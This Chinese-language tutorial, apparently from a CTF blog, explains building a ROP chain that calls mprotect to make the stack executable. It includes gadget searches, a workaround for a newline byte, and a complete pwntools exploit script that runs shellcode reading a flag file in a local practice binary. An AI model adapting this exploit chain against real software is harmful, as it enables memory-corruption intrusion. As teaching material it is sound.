本篇文章会使用一个稍复杂的 gadget,同时解决 gadget 含有换行符带来的问题。
mprotect
之前使用 vmmap
命令的时候会注意到有一列是内存地址的权限,rwx
和文件系统的一致,NX 不可执行就是没有 x
权限,当然这不是绝对的,使用 mprotect
可以修改这个权限,这样的话,就可以在栈上执行 shellcode 了。
gdb-peda$ vmmap
Start End Perm Name
0x00400000 0x00401000 r-xp /home/virusdefender/Desktop/pwn/new/vuln
0x00600000 0x00601000 r--p /home/virusdefender/Desktop/pwn/new/vuln
0x00601000 0x00602000 rw-p /home/virusdefender/Desktop/pwn/new/vuln
0x00602000 0x00623000 rw-p [heap]
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p mapped
0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fda000 0x00007ffff7fdd000 rw-p mapped
0x00007ffff7ff6000 0x00007ffff7ff8000 rw-p mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
函数原型是 int mprotect(void *addr, size_t len, int prot);
,addr
是内存地址开头,len
是长度,prot
就是权限位,在 manpage 上有 PROT_WRITE
、PROT_EXEC
、PROT_READ
等几项,权限是位运算之后的数字,根据宏定义, rwx
就是 0x1 | 0x2 | 0x4
。
需要注意的是 mprotect
修改的内存的起始地址必须和内存页对齐,范围也必须是内存页大小的整数倍,否则系统调用会失败,详见 manpage。getconf PAGESIZE
可以获取内存页大小,默认是 4096
。
ROP 构造 gadget
mprotecct
有三个参数,就会使用 rdi, rsi, rdx
寄存器。如果想让整个栈区可执行的话,在 vmmap
可以获取栈区的开头和结尾地址,那三个寄存器的值就分别是 0x00007ffffffde000
、0x00007ffffffff000 - 0x00007ffffffde000
和 0x1 | 0x2 | 0x4
。然后在调用 mproect
系统系统调用的时候,rax
寄存器是系统调用号 0xa
。所以按照之前的文章,只要能找到下面这些 gadget 就可以了。
pop rdi; ret;
pop rsi; ret;
pop rdx; ret;
pop rax; ret;
syscall; ret;
但是有些事情总不会太直接,能在二进制文件中只能找到两个 gadget,其中第二个有一个寄存器是没用的,但是并不影响。
➜ new ROPgadget --binary vuln | grep "pop rdi"
0x0000000000400803 : pop rdi ; ret
➜ new ROPgadget --binary vuln | grep "pop rsi"
0x0000000000400801 : pop rsi ; pop r15 ; ret
这个时候可以去 glibc 中找了。
# 这个文件处理比较慢,可以先保存下结果
➜ new ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 > libc.gadget
➜ new grep "pop rdx ; ret" libc.gadget
0x0000000000001b92 : pop rdx ; ret
➜ new grep "pop rax ; ret" libc.gadget
0x0000000000033542 : add al, ch ; pop rax ; ret
➜ new grep "syscall ; ret" libc.gadget
0x00000000000bc375 : syscall ; ret
如果已知 glibc 的加载基址,使用基址加上上面的地址就可以了,这个基址目前可以在 vmmap
或者 ldd
中看到。
0xa
如果按照上面的说法直接写 shellcode,会发现栈上的数据并不全,再认真的调试就会发现,shellcode 中含有 0xa
,也就是 \n
的 ascii,因为 shellcode 是 gets 读入的,所以就会在这里被截断。
我选择了先 pop rax
为 0x9
,然后 add rax, 1; ret
的 gadget。
➜ new grep "add rax, 1 ; ret" libc.gadget
0x00000000000abf40 : add rax, 1 ; ret
shellcode
from pwn import *
student = 0x7fffffffe2f0
shellcode = "1925\n"
cat = asm(shellcraft.amd64.linux.cat("flag"), arch="amd64", os="linux")
shellcode += cat + "A" * (0x7fffffffe348 - student - len(cat))
# pop rdi; ret
shellcode += p64(0x0000000000400803)
# mprotect arg1 addr -> rdi
shellcode += p64(0x00007ffffffde000)
# pop rsi; pop r15; ret;
shellcode += p64(0x0000000000400801)
# mprotect arg2 size -> rsi
shellcode += p64(0x00007ffffffff000 - 0x00007ffffffde000)
# -> r15
shellcode += p64(0)
libc_base = 0x00007ffff7a0d000
# pop rdx; ret;
shellcode += p64(libc_base + 0x0000000000001b92)
# mprotect arg3 rwx -> rdx
shellcode += p64(0x1 | 0x2 | 0x4)
# pop rax; ret
shellcode += p64(libc_base + 0x0000000000033544)
# -> rax
shellcode += p64(0xa - 1)
# add rax, 1; ret
shellcode += p64(libc_base + 0x00000000000abf40)
# syscalll; ret
shellcode += p64(libc_base + 0x00000000000bc375)
# shellcode
shellcode += p64(student)
print shellcode
运行后可以看到栈区的内存已经是 rwx
的权限了。
0x00007ffffffde000 0x00007ffffffff000 rwxp [stack]